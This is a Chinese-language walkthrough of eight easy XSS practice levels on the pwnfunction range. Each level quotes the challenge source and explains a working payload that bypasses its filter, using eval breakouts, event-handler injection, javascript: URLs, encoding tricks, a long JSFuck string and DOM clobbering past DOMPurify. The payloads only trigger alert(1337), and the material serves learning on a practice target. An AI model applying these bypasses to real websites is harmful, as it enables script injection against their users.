xss.function靶场(easy)

网址：https://xss.pwnfunction.com/

第一关Ma Spaghet!

源码

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析代码，当通过get传参somebody时，就接收参数为传递的参数，如果没传参那么就Somebody。
官方文档写innerHTML标签不会执行

<img src=1 onerror="alert(1337)>"

第二关Jefff

源码

<!-- Challenge -->
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>

分析源码
也是通过get传参jeff，如果传递了那么就为接受的值，如果没有那么就为JEFFF。然后定义了一个空字符串为ma，然后命令执行eval，再往下就是一个定时器，1秒后会将ma插入maname，且只能执行一次。
危险方法出自eval()，那么我们可以如下构建。

?jeff=aaa"alert(1337);"

前一个双引号是为了eval中的第一个双引号，后一个双引号是为了闭合eval中的第二个双引号，避免报错。

第三关Ugandan Knuckles

源码

<!-- Challenge -->
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这一关与上面不同的就是进行了<>的过滤，过滤<>的是为了避免用户的输入对代码中的函数进行闭合。那我们就得考虑其他的方式了。
input有一个属性为onfocus是获取焦点事件，还有有一个属性autoonfocus是自动对焦。

?wey=aaa"onfocus=alert(1337) autofocus="

第四关Ricardo Milos

源码

<!-- Challenge -->
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>

分析源码
也是get传递参数，经过两秒自动提交。
但是get提交的参数是在交给action，那我们可以在action上做文章。

?ricardo=javascript:alert(1337)

第五关Ah That’s Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>

过滤了(、`、)、\，过滤了()那么alert这个函数就触发不了了，那应该怎么做呢？
考虑使用location

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

或者，下面这种思路是将(1337)先进行html实体编码，再进行url编码。

?markassbrownlee=<img src=1 onerror=alert%26%2340%3B1337%26%2341%3B>

第六关Ligma

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这关过滤了大小写字母和数字。
那就只能使用编码的方式进行绕过了。
使用https://jsfuck.com/编码进行绕过。
先使用框架绕过进行编码，再使用url进行编码。
alert(1337)经过框架编码为

(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

在使用URL编码

%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%2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遇见这类题目直接用此方法即可。

第七关Mafia

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

这关相对于上一关就是增加了字符数量限制。
那就不应该使用上一关的方法。
第一个方法就是使用构造函数。
例如：

var add = new Function('x','y','return x+y'
);
等同于
function add(x,y){return x+y;
}

对于匿名函数怎么去立即执行呢？

Function()()

这样就会立即执行匿名函数。
那我们考虑怎么使用这个机制生成payload呢？题目中也过滤了alert，那咱们能不能先大写再使用其他方法变成小写呢？
很幸运，确实有这样的方法

Function(/ALERT(1337)/.source.toLowerCase())()

第二种做法：使用parseInt()
他有两个参数，一个是string，一个是进制。
例如：

parseInt('alert',30)
8680439

还有一种方法与parseInt作用相反，就是toString().
例如：

8680439..toString(30)
'alert'

那么就是第二种做法

eval(8680439..toString(30))(1337)

第三种做法：

eval(location.hash.slice(1))

local.hash取得是url的#之后的值，slice是对其进行切片。
hash后面的值不会认为是传参，所以能绕过。

eval(location.hash.slice(1))#alert(1337)

第八关Ok, Boomer

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>

DOMPurify过滤框架是删除多余的元素，基本绕不过去，不用考虑。
那咱们就向下考虑定时器。
定时器就是在2秒后执行ok。
那我们就可以利用dom破坏技术了。
就是说直接用id或者name的值就能将标签取出来，但是document用id取不出来，用name能取出来。那我们能不能考虑让某个元素的id或者name直接将标签取出来？

setTimeout('console.log('aaa')',500)

当然呢这段代码输出是aaa，也就是说它可以将函数当作一个字符串放进去然后执行。
a标签的href可以通过toString自动替换为字符串。
那么就可以连用a标签和setTimeout进行攻击。
查看DOMPurify的白名单。

那么我们的协议就可以使用cid或者tel。href必须是协议：主机名，所以我们随机选取一个白名单中的协议。

<a id="ok" href="tel:alert(1337)">